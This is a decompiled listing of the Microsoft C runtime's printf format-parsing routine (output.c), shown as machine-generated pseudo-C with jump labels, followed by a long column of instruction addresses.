																						 *(__ebp - 0x304) =  *((char*)(__ebp - 0x251));
																						 *(__ebp - 0x304) =  *(__ebp - 0x304) - 0x20;
																						 *(__ebp - 0x304) =  *(__ebp - 0x304) - 0x20;
																						if( *(__ebp - 0x304) > 0x10) {
																							goto L24;
																						}
																						L18:
																						__ecx =  *(__ebp - 0x304);
																						_t63 = __ecx + 0x428320; // 0x498d04
																						__edx =  *_t63 & 0x000000ff;
																						switch( *((intOrPtr*)(( *_t63 & 0x000000ff) * 4 +  &M00428308))) {
																							case 0:
																								goto L21;
																							case 1:
																								goto L22;
																							case 2:
																								goto L20;
																							case 3:
																								goto L19;
																							case 4:
																								goto L23;
																							case 5:
																								goto L24;
																						}
																					case 3:
																						L25:
																						__edx =  *((char*)(__ebp - 0x251));
																						if( *((char*)(__ebp - 0x251)) != 0x2a) {
																							__eax =  *(__ebp - 0x18);
																							__eax =  *(__ebp - 0x18) * 0xa;
																							__ecx =  *((char*)(__ebp - 0x251));
																							_t87 = __ecx - 0x30; // -48
																							__edx = __eax + _t87;
																							 *(__ebp - 0x18) = __eax + _t87;
																						} else {
																							__eax = __ebp + 0x14;
																							 *(__ebp - 0x18) = E004283F0(__ebp + 0x14);
																							if( *(__ebp - 0x18) < 0) {
																								__ecx =  *(__ebp - 0x10);
																								__ecx =  *(__ebp - 0x10) | 0x00000004;
																								 *(__ebp - 0x10) = __ecx;
																								 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																								 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																							}
																						}
																						L30:
																						goto L209;
																					case 4:
																						L31:
																						 *(__ebp - 0x30) = 0;
																						goto L209;
																					case 5:
																						L32:
																						__eax =  *((char*)(__ebp - 0x251));
																						if( *((char*)(__ebp - 0x251)) != 0x2a) {
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) * 0xa;
																							_t98 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																							__ecx =  *(__ebp - 0x30) * 0xa + _t98;
																							 *(__ebp - 0x30) = __ecx;
																						} else {
																							__ecx = __ebp + 0x14;
																							 *(__ebp - 0x30) = E004283F0(__ebp + 0x14);
																							if( *(__ebp - 0x30) < 0) {
																								 *(__ebp - 0x30) = 0xffffffff;
																							}
																						}
																						goto L209;
																					case 6:
																						L38:
																						__edx =  *((char*)(__ebp - 0x251));
																						 *(__ebp - 0x308) =  *((char*)(__ebp - 0x251));
																						 *(__ebp - 0x308) =  *(__ebp - 0x308) - 0x49;
																						 *(__ebp - 0x308) =  *(__ebp - 0x308) - 0x49;
																						if( *(__ebp - 0x308) > 0x2e) {
																							L61:
																							goto L209;
																						}
																						L39:
																						__ecx =  *(__ebp - 0x308);
																						_t106 = __ecx + 0x428348; // 0x7bff9003
																						__edx =  *_t106 & 0x000000ff;
																						switch( *((intOrPtr*)(( *_t106 & 0x000000ff) * 4 +  &M00428334))) {
																							case 0:
																								L44:
																								__edx =  *(__ebp + 0xc);
																								__eax =  *( *(__ebp + 0xc));
																								if( *( *(__ebp + 0xc)) != 0x36) {
																									L47:
																									__edx =  *(__ebp + 0xc);
																									__eax =  *( *(__ebp + 0xc));
																									if( *( *(__ebp + 0xc)) != 0x33) {
																										L50:
																										__edx =  *(__ebp + 0xc);
																										__eax =  *( *(__ebp + 0xc));
																										if( *( *(__ebp + 0xc)) == 0x64) {
																											L56:
																											L58:
																											goto L61;
																										}
																										L51:
																										__ecx =  *(__ebp + 0xc);
																										__edx =  *__ecx;
																										if( *__ecx == 0x69) {
																											goto L56;
																										}
																										L52:
																										__eax =  *(__ebp + 0xc);
																										__ecx =  *( *(__ebp + 0xc));
																										if(__ecx == 0x6f) {
																											goto L56;
																										}
																										L53:
																										__edx =  *(__ebp + 0xc);
																										__eax =  *( *(__ebp + 0xc));
																										if( *( *(__ebp + 0xc)) == 0x75) {
																											goto L56;
																										}
																										L54:
																										__ecx =  *(__ebp + 0xc);
																										__edx =  *__ecx;
																										if( *__ecx == 0x78) {
																											goto L56;
																										}
																										L55:
																										__eax =  *(__ebp + 0xc);
																										__ecx =  *( *(__ebp + 0xc));
																										if(__ecx != 0x58) {
																											 *(__ebp - 0x25c) = 0;
																											goto L9;
																										}
																										goto L56;
																									}
																									L48:
																									__ecx =  *(__ebp + 0xc);
																									__edx =  *((char*)(__ecx + 1));
																									if( *((char*)(__ecx + 1)) != 0x32) {
																										goto L50;
																									} else {
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																										__ecx =  *(__ebp - 0x10);
																										__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																										 *(__ebp - 0x10) = __ecx;
																										goto L58;
																									}
																								}
																								L45:
																								__ecx =  *(__ebp + 0xc);
																								__edx =  *((char*)(__ecx + 1));
																								if( *((char*)(__ecx + 1)) != 0x34) {
																									goto L47;
																								} else {
																									 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																									 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00008000;
																									 *(__ebp - 0x10) = __ecx;
																									goto L58;
																								}
																							case 1:
																								L59:
																								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																								goto L61;
																							case 2:
																								L40:
																								__eax =  *(__ebp + 0xc);
																								__ecx =  *( *(__ebp + 0xc));
																								if(__ecx != 0x6c) {
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00000010;
																									 *(__ebp - 0x10) = __ecx;
																								} else {
																									 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																									 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																								}
																								goto L61;
																							case 3:
																								L60:
																								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																								goto L61;
																							case 4:
																								goto L61;
																						}
																					case 7:
																						goto L62;
																					case 8:
																						L21:
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																						goto L24;
																					case 9:
																						L22:
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																						goto L24;
																					case 0xa:
																						L20:
																						__ecx =  *(__ebp - 0x10);
																						__ecx =  *(__ebp - 0x10) | 0x00000001;
																						 *(__ebp - 0x10) = __ecx;
																						goto L24;
																					case 0xb:
																						L19:
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																						goto L24;
																					case 0xc:
																						L23:
																						__ecx =  *(__ebp - 0x10);
																						__ecx =  *(__ebp - 0x10) | 0x00000008;
																						 *(__ebp - 0x10) = __ecx;
																						goto L24;
																					case 0xd:
																						L24:
																						goto L209;
																				}
																			}
																			L210:
																			 *(_t666 - 0x2ec) =  *(_t666 - 0x24c);
																			E0041AEB0(_t666 - 0x40);
																			_t497 =  *(_t666 - 0x2ec);
																			goto L211;
																		}
																		L182:
																		if(( *(_t666 - 0x10) & 0x00000040) != 0) {
																			if(( *(_t666 - 0x10) & 0x00000100) == 0) {
																				if(( *(_t666 - 0x10) & 0x00000001) == 0) {
																					if(( *(_t666 - 0x10) & 0x00000002) != 0) {
																						 *((char*)(_t666 - 0x14)) = 0x20;
																						 *(_t666 - 0x1c) = 1;
																					}
																				} else {
																					 *((char*)(_t666 - 0x14)) = 0x2b;
																					 *(_t666 - 0x1c) = 1;
																				}
																			} else {
																				 *((char*)(_t666 - 0x14)) = 0x2d;
																				 *(_t666 - 0x1c) = 1;
																			}
																		}
																		 *((intOrPtr*)(_t666 - 0x2bc)) =  *((intOrPtr*)(_t666 - 0x18)) -  *((intOrPtr*)(_t666 - 0x24)) -  *(_t666 - 0x1c);
																		if(( *(_t666 - 0x10) & 0x0000000c) == 0) {
																			E004357B0(0x20,  *((intOrPtr*)(_t666 - 0x2bc)),  *((intOrPtr*)(_t666 + 8)), _t666 - 0x24c);
																			_t669 = _t669 + 0x10;
																		}
																		E004357F0( *(_t666 - 0x1c), _t666 - 0x14,  *(_t666 - 0x1c),  *((intOrPtr*)(_t666 + 8)), _t666 - 0x24c);
																		_t669 = _t669 + 0x10;
																		if(( *(_t666 - 0x10) & 0x00000008) != 0 && ( *(_t666 - 0x10) & 0x00000004) == 0) {
																			E004357B0(0x30,  *((intOrPtr*)(_t666 - 0x2bc)),  *((intOrPtr*)(_t666 + 8)), _t666 - 0x24c);
																			_t669 = _t669 + 0x10;
																		}
																		if( *(_t666 - 0xc) == 0 ||  *((intOrPtr*)(_t666 - 0x24)) <= 0) {
																			L203:
																			E004357F0( *((intOrPtr*)(_t666 - 4)),  *((intOrPtr*)(_t666 - 4)),  *((intOrPtr*)(_t666 - 0x24)),  *((intOrPtr*)(_t666 + 8)), _t666 - 0x24c);
																			_t669 = _t669 + 0x10;
																			goto L204;
																		} else {
																			L196:
																			 *(_t666 - 0x2d4) = 0;
																			 *((intOrPtr*)(_t666 - 0x2c0)) =  *((intOrPtr*)(_t666 - 4));
																			 *((intOrPtr*)(_t666 - 0x2c4)) =  *((intOrPtr*)(_t666 - 0x24));
																			while(1) {
																				L197:
																				 *((intOrPtr*)(_t666 - 0x2c4)) =  *((intOrPtr*)(_t666 - 0x2c4)) - 1;
																				if( *((intOrPtr*)(_t666 - 0x2c4)) == 0) {
																					break;
																				}
																				L198:
																				 *(_t666 - 0x316) =  *((intOrPtr*)( *((intOrPtr*)(_t666 - 0x2c0))));
																				_t532 = E004342C0(_t666 - 0x2c8, _t666 - 0x2d0, 6,  *(_t666 - 0x316) & 0x0000ffff);
																				_t669 = _t669 + 0x10;
																				 *(_t666 - 0x2d4) = _t532;
																				 *((intOrPtr*)(_t666 - 0x2c0)) =  *((intOrPtr*)(_t666 - 0x2c0)) + 2;
																				if( *(_t666 - 0x2d4) != 0 ||  *((intOrPtr*)(_t666 - 0x2c8)) == 0) {
																					L200:
																					 *(_t666 - 0x24c) = 0xffffffff;
																					break;
																				} else {
																					L201:
																					E004357F0( *((intOrPtr*)(_t666 + 8)), _t666 - 0x2d0,  *((intOrPtr*)(_t666 - 0x2c8)),  *((intOrPtr*)(_t666 + 8)), _t666 - 0x24c);
																					_t669 = _t669 + 0x10;
																					continue;
																				}
																			}
																			L202:
																			L204:
																			if( *(_t666 - 0x24c) >= 0 && ( *(_t666 - 0x10) & 0x00000004) != 0) {
																				E004357B0(0x20,  *((intOrPtr*)(_t666 - 0x2bc)),  *((intOrPtr*)(_t666 + 8)), _t666 - 0x24c);
																				_t669 = _t669 + 0x10;
																			}
																			goto L207;
																		}
																		L62:
																		__ecx =  *((char*)(__ebp - 0x251));
																		 *(__ebp - 0x30c) = __ecx;
																		__edx =  *(__ebp - 0x30c);
																		__edx =  *(__ebp - 0x30c) - 0x41;
																		 *(__ebp - 0x30c) = __edx;
																	} while ( *(__ebp - 0x30c) > 0x37);
																	_t147 =  *(__ebp - 0x30c) + 0x4283b4; // 0xcccccc0d
																	__ecx =  *_t147 & 0x000000ff;
																	switch( *((intOrPtr*)(__ecx * 4 +  &M00428378))) {
																		case 0:
																			L114:
																			 *(__ebp - 0x2c) = 1;
																			__ecx =  *((char*)(__ebp - 0x251));
																			__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																			 *((char*)(__ebp - 0x251)) = __cl;
																			goto L115;
																		case 1:
																			L64:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																			}
																			goto L66;
																		case 2:
																			L79:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																			}
																			goto L81;
																		case 3:
																			L137:
																			 *((intOrPtr*)(__ebp - 0x260)) = 7;
																			goto L139;
																		case 4:
																			L72:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x284) = E004283F0(__ebp + 0x14);
																			if( *(__ebp - 0x284) == 0) {
																				L74:
																				__edx =  *0x440f80; // 0x404478
																				 *(__ebp - 4) = __edx;
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DEB0( *(__ebp - 4));
																				L78:
																				goto L181;
																			}
																			L73:
																			__ecx =  *(__ebp - 0x284);
																			if( *((intOrPtr*)( *(__ebp - 0x284) + 4)) != 0) {
																				L75:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																				if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																					 *(__ebp - 0xc) = 0;
																					__edx =  *(__ebp - 0x284);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x284);
																					__edx =  *__ecx;
																					 *(__ebp - 0x24) =  *__ecx;
																				} else {
																					__edx =  *(__ebp - 0x284);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x284);
																					__eax =  *__ecx;
																					asm("cdq");
																					 *__ecx - __edx =  *__ecx - __edx >> 1;
																					 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																					 *(__ebp - 0xc) = 1;
																				}
																				goto L78;
																			}
																			goto L74;
																		case 5:
																			L115:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			__eax = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			 *(__ebp - 0x44) = 0x200;
																			if( *(__ebp - 0x30) >= 0) {
																				L117:
																				if( *(__ebp - 0x30) != 0) {
																					L120:
																					if( *(__ebp - 0x30) > 0x200) {
																						 *(__ebp - 0x30) = 0x200;
																					}
																					L122:
																					if( *(__ebp - 0x30) > 0xa3) {
																						 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x20) = L0041B950(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																						if( *(__ebp - 0x20) == 0) {
																							 *(__ebp - 0x30) = 0xa3;
																						} else {
																							__eax =  *(__ebp - 0x20);
																							 *(__ebp - 4) =  *(__ebp - 0x20);
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																							 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																						}
																					}
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					__eax =  *(__ebp + 0x14);
																					_t274 = __eax - 8; // 0xe852f855
																					__ecx =  *_t274;
																					_t275 = __eax - 4; // 0xbc20
																					__edx =  *_t275;
																					 *(__ebp - 0x2a0) =  *_t274;
																					 *(__ebp - 0x29c) =  *_t275;
																					__ecx = __ebp - 0x40;
																					_push(E0041AEE0(__ebp - 0x40));
																					__eax =  *(__ebp - 0x2c);
																					_push( *(__ebp - 0x2c));
																					__ecx =  *(__ebp - 0x30);
																					_push( *(__ebp - 0x30));
																					__edx =  *((char*)(__ebp - 0x251));
																					_push( *((char*)(__ebp - 0x251)));
																					__eax =  *(__ebp - 0x44);
																					_push( *(__ebp - 0x44));
																					__ecx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__edx = __ebp - 0x2a0;
																					_push(__ebp - 0x2a0);
																					__eax =  *0x440374; // 0xab8ad97d
																					__eax =  *__eax();
																					__esp = __esp + 0x1c;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) != 0 &&  *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041AEE0(__ebp - 0x40));
																						__edx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__eax =  *0x440380; // 0x2b8ac62f
																						__eax =  *__eax();
																						__esp = __esp + 8;
																					}
																					__ecx =  *((char*)(__ebp - 0x251));
																					if( *((char*)(__ebp - 0x251)) == 0x67) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																						if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041AEE0(__ebp - 0x40));
																							__eax =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__ecx =  *0x44037c; // 0x2b8ac616
																							E00424750(__ecx) =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__edx =  *(__ebp - 4);
																					__eax =  *( *(__ebp - 4));
																					if( *( *(__ebp - 4)) == 0x2d) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																					}
																					__eax =  *(__ebp - 4);
																					 *(__ebp - 0x24) = E0041DEB0( *(__ebp - 4));
																					goto L181;
																				}
																				L118:
																				__ecx =  *((char*)(__ebp - 0x251));
																				if(__ecx != 0x67) {
																					goto L120;
																				}
																				L119:
																				 *(__ebp - 0x30) = 1;
																				goto L122;
																			}
																			L116:
																			 *(__ebp - 0x30) = 6;
																			goto L122;
																		case 6:
																			L66:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																			if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																				__ebp + 0x14 = E004283F0(__ebp + 0x14);
																				 *(__ebp - 0x280) = __ax;
																				__cl =  *(__ebp - 0x280);
																				 *(__ebp - 0x248) = __cl;
																				 *(__ebp - 0x24) = 1;
																			} else {
																				 *(__ebp - 0x27c) = 0;
																				__edx = __ebp + 0x14;
																				__eax = E00428430(__ebp + 0x14);
																				 *(__ebp - 0x258) = __ax;
																				__eax =  *(__ebp - 0x258) & 0x0000ffff;
																				__ecx = __ebp - 0x248;
																				__edx = __ebp - 0x24;
																				 *(__ebp - 0x27c) = E004342C0(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																				if( *(__ebp - 0x27c) != 0) {
																					 *(__ebp - 0x28) = 1;
																				}
																			}
																			__edx = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			goto L181;
																		case 7:
																			L135:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 8) = 0xa;
																			goto L144;
																		case 8:
																			L100:
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x294) = E004283F0(__ebp + 0x14);
																			if(E00433FA0() != 0) {
																				L110:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					__edx =  *(__ebp - 0x294);
																					__eax =  *(__ebp - 0x24c);
																					 *( *(__ebp - 0x294)) =  *(__ebp - 0x24c);
																				} else {
																					__eax =  *(__ebp - 0x294);
																					 *( *(__ebp - 0x294)) =  *(__ebp - 0x24c);
																				}
																				 *(__ebp - 0x28) = 1;
																				goto L181;
																			}
																			L101:
																			__edx = 0;
																			if(0 == 0) {
																				 *(__ebp - 0x314) = 0;
																			} else {
																				 *(__ebp - 0x314) = 1;
																			}
																			__eax =  *(__ebp - 0x314);
																			 *(__ebp - 0x298) =  *(__ebp - 0x314);
																			if( *(__ebp - 0x298) == 0) {
																				_push(L"(\"\'n\' format specifier disabled\", 0)");
																				_push(0);
																				_push(0x695);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				__eax = L0041E410();
																				__esp = __esp + 0x14;
																				if(__eax == 1) {
																					asm("int3");
																				}
																			}
																			if( *(__ebp - 0x298) != 0) {
																				L109:
																				goto L181;
																			} else {
																				L108:
																				 *((intOrPtr*)(L00422F00(__ecx))) = 0x16;
																				__eax = E00422C90(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																				 *(__ebp - 0x2e8) = 0xffffffff;
																				__ecx = __ebp - 0x40;
																				__eax = E0041AEB0(__ecx);
																				__eax =  *(__ebp - 0x2e8);
																				goto L211;
																			}
																		case 9:
																			L142:
																			 *(__ebp - 8) = 8;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																			}
																			goto L144;
																		case 0xa:
																			L136:
																			 *(__ebp - 0x30) = 8;
																			goto L137;
																		case 0xb:
																			L81:
																			if( *(__ebp - 0x30) != 0xffffffff) {
																				__edx =  *(__ebp - 0x30);
																				 *(__ebp - 0x310) =  *(__ebp - 0x30);
																			} else {
																				 *(__ebp - 0x310) = 0x7fffffff;
																			}
																			__eax =  *(__ebp - 0x310);
																			 *(__ebp - 0x28c) =  *(__ebp - 0x310);
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 4) = E004283F0(__ebp + 0x14);
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																			if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																				L92:
																				if( *(__ebp - 4) == 0) {
																					__edx =  *0x440f80; // 0x404478
																					 *(__ebp - 4) = __edx;
																				}
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x288) =  *(__ebp - 4);
																				while(1) {
																					L95:
																					__ecx =  *(__ebp - 0x28c);
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																					if(__ecx == 0) {
																						break;
																					}
																					L96:
																					__eax =  *(__ebp - 0x288);
																					__ecx =  *( *(__ebp - 0x288));
																					if(__ecx == 0) {
																						break;
																					}
																					L97:
																					 *(__ebp - 0x288) =  *(__ebp - 0x288) + 1;
																					 *(__ebp - 0x288) =  *(__ebp - 0x288) + 1;
																				}
																				L98:
																				 *(__ebp - 0x288) =  *(__ebp - 0x288) -  *(__ebp - 4);
																				 *(__ebp - 0x24) =  *(__ebp - 0x288) -  *(__ebp - 4);
																				goto L99;
																			} else {
																				L85:
																				if( *(__ebp - 4) == 0) {
																					__eax =  *0x440f84; // 0x404468
																					 *(__ebp - 4) = __eax;
																				}
																				 *(__ebp - 0xc) = 1;
																				__ecx =  *(__ebp - 4);
																				 *(__ebp - 0x290) =  *(__ebp - 4);
																				while(1) {
																					L88:
																					__edx =  *(__ebp - 0x28c);
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																					if( *(__ebp - 0x28c) == 0) {
																						break;
																					}
																					L89:
																					__ecx =  *(__ebp - 0x290);
																					__edx =  *( *(__ebp - 0x290)) & 0x0000ffff;
																					if(( *( *(__ebp - 0x290)) & 0x0000ffff) == 0) {
																						break;
																					}
																					L90:
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) + 2;
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) + 2;
																				}
																				L91:
																				 *(__ebp - 0x290) =  *(__ebp - 0x290) -  *(__ebp - 4);
																				__ecx =  *(__ebp - 0x290) -  *(__ebp - 4) >> 1;
																				 *(__ebp - 0x24) = __ecx;
																				L99:
																				goto L181;
																			}
																		case 0xc:
																			goto L0;
																		case 0xd:
																			L138:
																			 *((intOrPtr*)(__ebp - 0x260)) = 0x27;
																			L139:
																			 *(__ebp - 8) = 0x10;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *((char*)(__ebp - 0x14)) = 0x30;
																				 *((intOrPtr*)(__ebp - 0x260)) =  *((intOrPtr*)(__ebp - 0x260)) + 0x51;
																				 *((char*)(__ebp - 0x13)) = __al;
																				 *(__ebp - 0x1c) = 2;
																			}
																			goto L144;
																		case 0xe:
																			goto L181;
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
			}

0x00427dbc
0x00427dbc
0x00427dbc
0x00427dbc
0x00427dbc
0x00000000
0x00427e2b
0x00000000
0x00427e2b
0x00000000
0x00427e2b
0x00427e2b
0x00427e33
0x00427e55
0x00427e5b
0x00427e80
0x00427ec7
0x00427eca
0x00427eeb
0x00427ef0
0x00427ef5
0x00427efb
0x00427ecc
0x00427ed0
0x00427ed5
0x00427ed8
0x00427ed9
0x00427edf
0x00427edf
0x00427e82
0x00427e85
0x00427e88
0x00427eaa
0x00427eaf
0x00427eb5
0x00427eb6
0x00427ebc
0x00427e8a
0x00427e8e
0x00427e93
0x00427e97
0x00427e98
0x00427e9e
0x00427e9e
0x00427ec2
0x00427e5d
0x00427e61
0x00427e66
0x00427e69
0x00427e6f
0x00427e6f
0x00427e35
0x00427e39
0x00427e3e
0x00427e41
0x00427e47
0x00427e47
0x00427f07
0x00427f49
0x00427f4f
0x00427f5b
0x00000000
0x00427f09
0x00427f09
0x00427f09
0x00427f10
0x00000000
0x00427f1d
0x00427f1d
0x00427f2b
0x00427f30
0x00427f36
0x00427f44
0x00427f61
0x00427f69
0x00427f8b
0x00427f8b
0x00427f95
0x00427fa6
0x00427fb0
0x00427fb2
0x00427fb2
0x00427f97
0x00427f97
0x00427f97
0x00427fc5
0x00427fc7
0x00427fc7
0x00427fd1
0x00427fd4
0x00427fd4
0x00427fda
0x00427fdd
0x00427fe2
0x00000000
0x00000000
0x00427ff2
0x00427ff5
0x00427fff
0x0042800e
0x00428017
0x0042802d
0x00428033
0x00428040
0x0042804e
0x0042804e
0x0042805d
0x00428065
0x00428065
0x0042806d
0x00428073
0x0042807c
0x00428088
0x004280a1
0x004280a7
0x004280b0
0x004280b0
0x00000000
0x004280b3
0x00000000
0x004280b3
0x00000000
0x004280b3
0x00000000
0x004280b3
0x00000000
0x004280b3
0x00000000
0x004280b3
0x00000000
0x004280b3
0x004280b3
0x004280b3
0x004280b7
0x0042829e
0x004282a2
0x004282aa
0x004282af
0x004282b2
0x004282b2
0x004282b9
0x004282b9
0x0042743f
0x00427452
0x00427457
0x00000000
0x0042746a
0x00427474
0x0042749b
0x00427482
0x00427493
0x00427493
0x00427474
0x004274a5
0x004274ab
0x004274bd
0x004274c8
0x004274d4
0x004274e1
0x00000000
0x00000000
0x004274e7
0x004274ed
0x00000000
0x004274f4
0x004274f4
0x0042750c
0x00427511
0x00427516
0x004275d0
0x004275e3
0x004275e8
0x00000000
0x0042751c
0x0042752f
0x00427534
0x0042753a
0x0042753c
0x00427545
0x00427548
0x00427554
0x00427558
0x0042755e
0x00427560
0x00427565
0x00427567
0x0042756c
0x00427571
0x00427573
0x00427578
0x0042757e
0x00427580
0x00427580
0x0042757e
0x00427581
0x00427588
0x00000000
0x0042758a
0x0042758f
0x004275ab
0x004275b3
0x004275c0
0x004275c5
0x004282d8
0x004282e5
0x004282e5
0x00427588
0x00000000
0x004275f0
0x004275f0
0x004275f7
0x004275fa
0x004275fd
0x00427600
0x00427603
0x00427606
0x00427609
0x00427610
0x00427617
0x00000000
0x00000000
0x00427623
0x00427623
0x0042762a
0x00427636
0x00427639
0x00427646
0x00000000
0x00000000
0x00427648
0x00427648
0x0042764e
0x0042764e
0x00427655
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00427698
0x00427698
0x004276a2
0x004276cc
0x004276cf
0x004276d2
0x004276d9
0x004276d9
0x004276dd
0x004276a4
0x004276a4
0x004276b0
0x004276b7
0x004276b9
0x004276bc
0x004276bf
0x004276c5
0x004276c7
0x004276c7
0x004276ca
0x004276e0
0x00000000
0x00000000
0x004276e5
0x004276e5
0x00000000
0x00000000
0x004276f1
0x004276f1
0x004276fb
0x0042771e
0x00427728
0x00427728
0x0042772c
0x004276fd
0x004276fd
0x00427709
0x00427710
0x00427712
0x00427712
0x00427719
0x00000000
0x00000000
0x00427734
0x00427734
0x0042773b
0x00427747
0x0042774a
0x00427757
0x0042786a
0x00000000
0x0042786a
0x0042775d
0x0042775d
0x00427763
0x00427763
0x0042776a
0x00000000
0x004277a0
0x004277a0
0x004277a3
0x004277a9
0x004277d1
0x004277d1
0x004277d4
0x004277da
0x004277ff
0x004277ff
0x00427802
0x00427808
0x00427841
0x00427852
0x00000000
0x00427852
0x0042780a
0x0042780a
0x0042780d
0x00427813
0x00000000
0x00000000
0x00427815
0x00427815
0x00427818
0x0042781e
0x00000000
0x00000000
0x00427820
0x00427820
0x00427823
0x00427829
0x00000000
0x00000000
0x0042782b
0x0042782b
0x0042782e
0x00427834
0x00000000
0x00000000
0x00427836
0x00427836
0x00427839
0x0042783f
0x00427843
